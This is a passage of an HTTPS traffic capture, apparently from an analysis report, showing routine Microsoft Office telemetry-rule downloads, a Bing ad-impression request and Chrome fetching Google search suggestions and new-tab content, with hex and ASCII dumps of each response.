2024-11-23 18:52:30 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:29 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 4246a62e-c01e-008e-5315-3d7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185229Z-178bfbc474bbbqrhhC1NYCvw74000000051g000000007kzu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	49764	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:31 UTC	474	OUT	GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=d21e0fe109894e1f8ee1ff8f4a7c9aca&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: g.bing.com Connection: Keep-Alive Cookie: MUID=0BCC44D772F664AB2B1A519773DF6574; MSPTC=bF1R0mgkwxP704-J0VUmxqv4vKuBzyhg8jWf73c6XfQ; MR=0
2024-11-23 18:52:31 UTC	601	IN	HTTP/1.1 204 No Content Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 2E23B7358B44404FA2D4056D27F3B1E4 Ref B: EWR311000104035 Ref C: 2024-11-23T18:52:31Z Date: Sat, 23 Nov 2024 18:52:30 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:31 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:31 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185231Z-178bfbc474b9xljthC1NYCtw9400000004qg00000000gz4q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:32 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:31 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 3ac3f4da-f01e-001f-4c47-3c5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185231Z-15b8b599d88vp97chC1TEB5pzw00000003dg000000000gth x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:32 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:31 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:32 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 74046e45-401e-000a-0635-3c4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185232Z-178bfbc474bp8mkvhC1NYCzqnn00000004s0000000005upm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:32 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	49773	172.217.21.36	443	7952	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:32 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 18:52:33 UTC	1266	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:32 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-Jcp3n1UT7wlEiFiwd8Y4Rg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-23 18:52:33 UTC	124	IN	Data Raw: 33 32 63 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 64 69 72 65 63 74 76 20 64 69 73 68 20 64 65 61 6c 22 2c 22 6f 68 69 6f 20 73 74 61 74 65 20 69 6e 64 69 61 6e 61 20 66 6f 6f 74 62 61 6c 6c 22 2c 22 73 75 6d 6d 65 72 20 73 69 74 75 61 74 69 6f 6e 73 68 69 70 20 66 75 6c 6c 20 6d 6f 76 69 65 22 2c 22 74 68 61 6e 6b 73 67 69 76 69 6e 67 20 77 69 6e 74 65 72 20 73 74 6f 72 Data Ascii: 32c)]}'["",["directv dish deal","ohio state indiana football","summer situationship full movie","thanksgiving winter stor
2024-11-23 18:52:33 UTC	695	IN	Data Raw: 6d 20 66 6f 72 65 63 61 73 74 20 73 6e 6f 77 22 2c 22 64 69 73 6e 65 79 20 64 72 65 61 6d 6c 69 67 68 74 20 76 61 6c 6c 65 79 20 73 74 6f 72 79 62 6f 6f 6b 20 76 61 6c 65 22 2c 22 66 72 65 65 20 74 68 61 6e 6b 73 67 69 76 69 6e 67 20 74 75 72 6b 65 79 73 22 2c 22 74 65 78 61 73 20 75 6e 69 76 65 72 73 69 74 79 20 66 72 65 65 20 74 75 69 74 69 6f 6e 22 2c 22 63 68 65 72 20 70 65 74 65 72 20 62 6f 67 64 61 6e 6f 76 69 63 68 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 Data Ascii: m forecast snow","disney dreamlight valley storybook vale","free thanksgiving turkeys","texas university free tuition","cher peter bogdanovich"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRV
2024-11-23 18:52:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	49774	172.217.21.36	443	7952	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:32 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:32 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:32 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 20caaba8-701e-005c-0363-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185232Z-178bfbc474brk967hC1NYCfu6000000004p000000000b17u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:32 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	49776	172.217.21.36	443	7952	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:32 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 18:52:33 UTC	1018	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 23 Nov 2024 18:52:32 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-23 18:52:33 UTC	372	IN	Data Raw: 31 66 37 65 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1f7e)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-23 18:52:33 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-23 18:52:33 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-23 18:52:33 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
